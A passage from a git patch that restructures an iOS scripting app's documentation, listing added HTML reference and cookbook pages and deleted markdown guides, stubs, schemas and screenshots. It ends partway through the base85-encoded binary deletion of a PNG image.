docs/docs/pages/database-module/index.html | 341 ++ docs/docs/pages/device-module/index.html | 312 ++ docs/docs/pages/dialogs-module/index.html | 300 ++ docs/docs/pages/haptics-module/index.html | 340 ++ docs/docs/pages/health-module/index.html | 398 ++ docs/docs/pages/ios-native/index.html | 349 ++ docs/docs/pages/js-api/index.html | 446 ++ docs/docs/pages/keyboard-module/index.html | 308 ++ docs/docs/pages/keychain-module/index.html | 337 ++ .../pages/live-activity-module/index.html | 328 ++ docs/docs/pages/location-module/index.html | 328 ++ .../pages/miniapp-appui-api-index/index.html | 311 ++ .../miniapp-appui-ui-patterns/index.html | 318 ++ .../pages/miniapp-choose-runtime/index.html | 303 ++ .../miniapp-dev-troubleshooting/index.html | 328 ++ .../miniapp-native-capabilities/index.html | 383 ++ docs/docs/pages/modules-index/index.html | 290 ++ docs/docs/pages/motion-module/index.html | 329 ++ docs/docs/pages/network-module/index.html | 365 ++ docs/docs/pages/nfc-module/index.html | 350 ++ .../docs/pages/notification-module/index.html | 369 ++ docs/docs/pages/objc-util-module/index.html | 322 ++ docs/docs/pages/permission-module/index.html | 341 ++ docs/docs/pages/photos-module/index.html | 399 ++ docs/docs/pages/scene-api-index/index.html | 281 ++ .../docs/pages/scene-api-reference/index.html | 346 ++ docs/docs/pages/scene-module/index.html | 330 ++ docs/docs/pages/shortcuts-guide/index.html | 326 ++ docs/docs/pages/shortcuts-module/index.html | 323 ++ docs/docs/pages/sound-module/index.html | 347 ++ docs/docs/pages/speech-module/index.html | 318 ++ docs/docs/pages/storage-module/index.html | 350 ++ docs/docs/pages/turtle-module/index.html | 299 ++ docs/docs/pages/ui-api-index/index.html | 283 ++ docs/docs/pages/ui-api-reference/index.html | 335 ++ docs/docs/pages/ui-module/index.html | 285 ++ .../pages/vision-helper-module/index.html | 338 ++ docs/docs/pages/vision-module/index.html | 322 ++ docs/docs/pages/websocket-module/index.html | 355 ++ docs/docs/pages/widget-api-index/index.html | 272 ++ .../pages/widget-api-reference/index.html | 1796 ++++++++ .../pages/widget-appearance-assets/index.html | 337 ++ docs/docs/pages/widget-interaction/index.html | 314 ++ docs/docs/pages/widget-layout/index.html | 379 ++ docs/docs/pages/widget-module/index.html | 294 ++ docs/docs/pages/widget-parameters/index.html | 282 ++ .../widget-quickstart-publish/index.html | 304 ++ docs/docs/pages/widget-timeline/index.html | 325 ++ .../pages/widget-troubleshooting/index.html | 292 ++ docs/docs/search-index.json | 930 ++++ docs/donate-qr.jpeg | Bin 108668 -> 0 bytes docs/favicon.png | Bin 1554137 -> 0 bytes "docs/html\351\242\204\350\247\210.png" | Bin 803399 -> 0 bytes docs/icon.png | Bin 1862843 -> 0 bytes docs/index.html | 3670 +++------------ docs/keychain-module.md | 268 -- docs/llms-full.txt | 809 ---- docs/llms.txt | 28 - "docs/md\346\226\207\344\273\266.png" | Bin 1116952 -> 0 bytes docs/objc_util-module.md | 399 -- docs/photos-module.md | 287 -- docs/scene-module.md | 719 --- docs/schemas/appui_api_schema.json | 3000 ------------- docs/schemas/native_capabilities_schema.json | 655 --- docs/schemas/widget_api_schema.json | 3920 ----------------- docs/sound-module.md | 306 -- docs/stubs/appui.pyi | 2075 --------- docs/stubs/scene.pyi | 940 ---- docs/stubs/ui.pyi | 1260 ------ docs/stubs/widget.pyi | 954 ---- docs/ui-module-en.md | 1093 ----- docs/ui-module-zh.md | 1164 ----- docs/ui-module.md | 755 ---- docs/webdav-module.md | 202 - docs/widget-module.md | 323 -- .../\345\267\245\345\205\267\347\256\261.png" | Bin 750221 -> 0 bytes .../\345\272\223\347\256\241\347\220\206.png" | Bin 723819 -> 0 bytes ...6\345\217\260\351\241\265\351\235\242.png" | Bin 820708 -> 0 bytes ...0\345\273\272\346\226\207\344\273\266.png" | Bin 534933 -> 0 bytes ...6\350\276\221\351\241\265\351\235\242.png" | Bin 1165951 -> 0 bytes "docs/\350\256\276\347\275\256.png" | Bin 599629 -> 0 bytes "docs/\351\246\226\351\241\265.png" | Bin 720763 -> 0 bytes 167 files changed, 48574 insertions(+), 24150 deletions(-) delete mode 100644 "docs/AI\345\210\206\346\236\220.png" delete mode 100644 docs/appui-module.md create mode 100644 docs/assets/brand-mark.svg delete mode 100644 docs/clipboard-module.md delete mode 100644 docs/console-module.md delete mode 100644 docs/contacts-module.md delete mode 100644 docs/dialogs-module.md create mode 100644 docs/docs/404.html create mode 100644 docs/docs/assets/brand-mark.svg create mode 100644 docs/docs/assets/docs-v2.css create mode 100644 docs/docs/assets/docs-v2.js create mode 100644 docs/docs/collections/appui/index.html create mode 100644 docs/docs/collections/automation-extension/index.html create mode 100644 docs/docs/collections/ios-native/index.html create mode 100644 docs/docs/collections/scene/index.html create mode 100644 docs/docs/collections/ui/index.html create mode 100644 docs/docs/collections/widget/index.html create mode 100644 docs/docs/pages/appui-appendix-colors/index.html create mode 100644 docs/docs/pages/appui-appendix-migration/index.html create mode 100644 docs/docs/pages/appui-appendix-symbols/index.html create mode 100644 docs/docs/pages/appui-cookbook-chart-canvas-lab/index.html create mode 100644 docs/docs/pages/appui-cookbook-chat/index.html create mode 100644 docs/docs/pages/appui-cookbook-dashboard/index.html create mode 100644 docs/docs/pages/appui-cookbook-form-settings-controls/index.html create mode 100644 docs/docs/pages/appui-cookbook-gallery/index.html create mode 100644 docs/docs/pages/appui-cookbook-health-blood-pressure/index.html create mode 100644 docs/docs/pages/appui-cookbook-index/index.html create mode 100644 docs/docs/pages/appui-cookbook-live-activity-background/index.html create mode 100644 docs/docs/pages/appui-cookbook-location-map/index.html create mode 100644 docs/docs/pages/appui-cookbook-media-capture-gallery/index.html create mode 100644 docs/docs/pages/appui-cookbook-motion-haptics-dashboard/index.html create mode 100644 docs/docs/pages/appui-cookbook-native-list-detail/index.html create mode 100644 docs/docs/pages/appui-cookbook-network-list/index.html create mode 100644 docs/docs/pages/appui-cookbook-notification-reminder/index.html create mode 100644 docs/docs/pages/appui-cookbook-secure-vault/index.html create mode 100644 docs/docs/pages/appui-cookbook-settings/index.html create mode 100644 docs/docs/pages/appui-cookbook-shortcuts-launcher/index.html create mode 100644 docs/docs/pages/appui-cookbook-table-data-review/index.html create mode 100644 docs/docs/pages/appui-cookbook-todo/index.html create mode 100644 docs/docs/pages/appui-cookbook-video-player/index.html create mode 100644 docs/docs/pages/appui-cookbook-webview-share-export/index.html create mode 100644 docs/docs/pages/appui-guide-animation/index.html create mode 100644 docs/docs/pages/appui-guide-charts/index.html create mode 100644 docs/docs/pages/appui-guide-darkmode/index.html create mode 100644 docs/docs/pages/appui-guide-hotreload/index.html create mode 100644 docs/docs/pages/appui-guide-interaction/index.html create mode 100644 docs/docs/pages/appui-guide-layout/index.html create mode 100644 docs/docs/pages/appui-guide-lists/index.html create mode 100644 docs/docs/pages/appui-guide-media/index.html create mode 100644 docs/docs/pages/appui-guide-navigation/index.html create mode 100644 docs/docs/pages/appui-guide-performance/index.html create mode 100644 docs/docs/pages/appui-guide-realtime/index.html create mode 100644 docs/docs/pages/appui-guide-state/index.html create mode 100644 docs/docs/pages/appui-guide-thinking/index.html create mode 100644 docs/docs/pages/appui-module/index.html create mode 100644 docs/docs/pages/appui-quickstart/index.html create mode 100644 docs/docs/pages/appui-ref-charts/index.html create mode 100644 docs/docs/pages/appui-ref-controls/index.html create mode 100644 docs/docs/pages/appui-ref-data/index.html create mode 100644 docs/docs/pages/appui-ref-environment/index.html create mode 100644 docs/docs/pages/appui-ref-functions/index.html create mode 100644 docs/docs/pages/appui-ref-layout-geometry/index.html create mode 100644 docs/docs/pages/appui-ref-layout-grids/index.html create mode 100644 docs/docs/pages/appui-ref-layout-scroll/index.html create mode 100644 docs/docs/pages/appui-ref-layout-stacks/index.html create mode 100644 docs/docs/pages/appui-ref-layout/index.html create mode 100644 docs/docs/pages/appui-ref-media/index.html create mode 100644 docs/docs/pages/appui-ref-modifiers/index.html create mode 100644 docs/docs/pages/appui-ref-navigation/index.html create mode 100644 docs/docs/pages/appui-ref-presentation/index.html create mode 100644 docs/docs/pages/appui-ref-shapes/index.html create mode 100644 docs/docs/pages/appui-ref-state/index.html create mode 100644 docs/docs/pages/aurora-system/index.html create mode 100644 docs/docs/pages/aurora-toolkit/index.html create mode 100644 docs/docs/pages/avplayer-module/index.html create mode 100644 docs/docs/pages/background-module/index.html create mode 100644 docs/docs/pages/biometric-module/index.html create mode 100644 docs/docs/pages/bluetooth-module/index.html create mode 100644 docs/docs/pages/c-extensions-module/index.html create mode 100644 docs/docs/pages/calendar-events-module/index.html create mode 100644 docs/docs/pages/clipboard-module/index.html create mode 100644 docs/docs/pages/console-module/index.html create mode 100644 docs/docs/pages/contacts-module/index.html create mode 100644 docs/docs/pages/coreml-module/index.html create mode 100644 docs/docs/pages/database-module/index.html create mode 100644 docs/docs/pages/device-module/index.html create mode 100644 docs/docs/pages/dialogs-module/index.html create mode 100644 docs/docs/pages/haptics-module/index.html create mode 100644 docs/docs/pages/health-module/index.html create mode 100644 docs/docs/pages/ios-native/index.html create mode 100644 docs/docs/pages/js-api/index.html create mode 100644 docs/docs/pages/keyboard-module/index.html create mode 100644 docs/docs/pages/keychain-module/index.html create mode 100644 docs/docs/pages/live-activity-module/index.html create mode 100644 docs/docs/pages/location-module/index.html create mode 100644 docs/docs/pages/miniapp-appui-api-index/index.html create mode 100644 docs/docs/pages/miniapp-appui-ui-patterns/index.html create mode 100644 docs/docs/pages/miniapp-choose-runtime/index.html create mode 100644 docs/docs/pages/miniapp-dev-troubleshooting/index.html create mode 100644 docs/docs/pages/miniapp-native-capabilities/index.html create mode 100644 docs/docs/pages/modules-index/index.html create mode 100644 docs/docs/pages/motion-module/index.html create mode 100644 docs/docs/pages/network-module/index.html create mode 100644 docs/docs/pages/nfc-module/index.html create mode 100644 docs/docs/pages/notification-module/index.html create mode 100644 docs/docs/pages/objc-util-module/index.html create mode 100644 docs/docs/pages/permission-module/index.html create mode 100644 docs/docs/pages/photos-module/index.html create mode 100644 docs/docs/pages/scene-api-index/index.html create mode 100644 docs/docs/pages/scene-api-reference/index.html create mode 100644 docs/docs/pages/scene-module/index.html create mode 100644 docs/docs/pages/shortcuts-guide/index.html create mode 100644 docs/docs/pages/shortcuts-module/index.html create mode 100644 docs/docs/pages/sound-module/index.html create mode 100644 docs/docs/pages/speech-module/index.html create mode 100644 docs/docs/pages/storage-module/index.html create mode 100644 docs/docs/pages/turtle-module/index.html create mode 100644 docs/docs/pages/ui-api-index/index.html create mode 100644 docs/docs/pages/ui-api-reference/index.html create mode 100644 docs/docs/pages/ui-module/index.html create mode 100644 docs/docs/pages/vision-helper-module/index.html create mode 100644 docs/docs/pages/vision-module/index.html create mode 100644 docs/docs/pages/websocket-module/index.html create mode 100644 docs/docs/pages/widget-api-index/index.html create mode 100644 docs/docs/pages/widget-api-reference/index.html create mode 100644 docs/docs/pages/widget-appearance-assets/index.html create mode 100644 docs/docs/pages/widget-interaction/index.html create mode 100644 docs/docs/pages/widget-layout/index.html create mode 100644 docs/docs/pages/widget-module/index.html create mode 100644 docs/docs/pages/widget-parameters/index.html create mode 100644 docs/docs/pages/widget-quickstart-publish/index.html create mode 100644 docs/docs/pages/widget-timeline/index.html create mode 100644 docs/docs/pages/widget-troubleshooting/index.html create mode 100644 docs/docs/search-index.json delete mode 100644 docs/donate-qr.jpeg delete mode 100644 docs/favicon.png delete mode 100644 "docs/html\351\242\204\350\247\210.png" delete mode 100644 docs/icon.png delete mode 100644 docs/keychain-module.md delete mode 100644 docs/llms-full.txt delete mode 100644 docs/llms.txt delete mode 100644 "docs/md\346\226\207\344\273\266.png" delete mode 100644 docs/objc_util-module.md delete mode 100644 docs/photos-module.md delete mode 100644 docs/scene-module.md delete mode 100644 docs/schemas/appui_api_schema.json delete mode 100644 docs/schemas/native_capabilities_schema.json delete mode 100644 docs/schemas/widget_api_schema.json delete mode 100644 docs/sound-module.md delete mode 100644 docs/stubs/appui.pyi delete mode 100644 docs/stubs/scene.pyi delete mode 100644 docs/stubs/ui.pyi delete mode 100644 docs/stubs/widget.pyi delete mode 100644 docs/ui-module-en.md delete mode 100644 docs/ui-module-zh.md delete mode 100644 docs/ui-module.md delete mode 100644 docs/webdav-module.md delete mode 100644 docs/widget-module.md delete mode 100644 "docs/\345\267\245\345\205\267\347\256\261.png" delete mode 100644 "docs/\345\272\223\347\256\241\347\220\206.png" delete mode 100644 "docs/\346\216\247\345\210\266\345\217\260\351\241\265\351\235\242.png" delete mode 100644 "docs/\346\226\260\345\273\272\346\226\207\344\273\266.png" delete mode 100644 "docs/\347\274\226\350\276\221\351\241\265\351\235\242.png" delete mode 100644 "docs/\350\256\276\347\275\256.png" delete mode 100644 "docs/\351\246\226\351\241\265.png" diff --git "a/docs/AI\345\210\206\346\236\220.png" "b/docs/AI\345\210\206\346\236\220.png" deleted file mode 100644 index e3eb158def00bc29e1bc9e60da79dbe4c3b6f69b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1182989 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 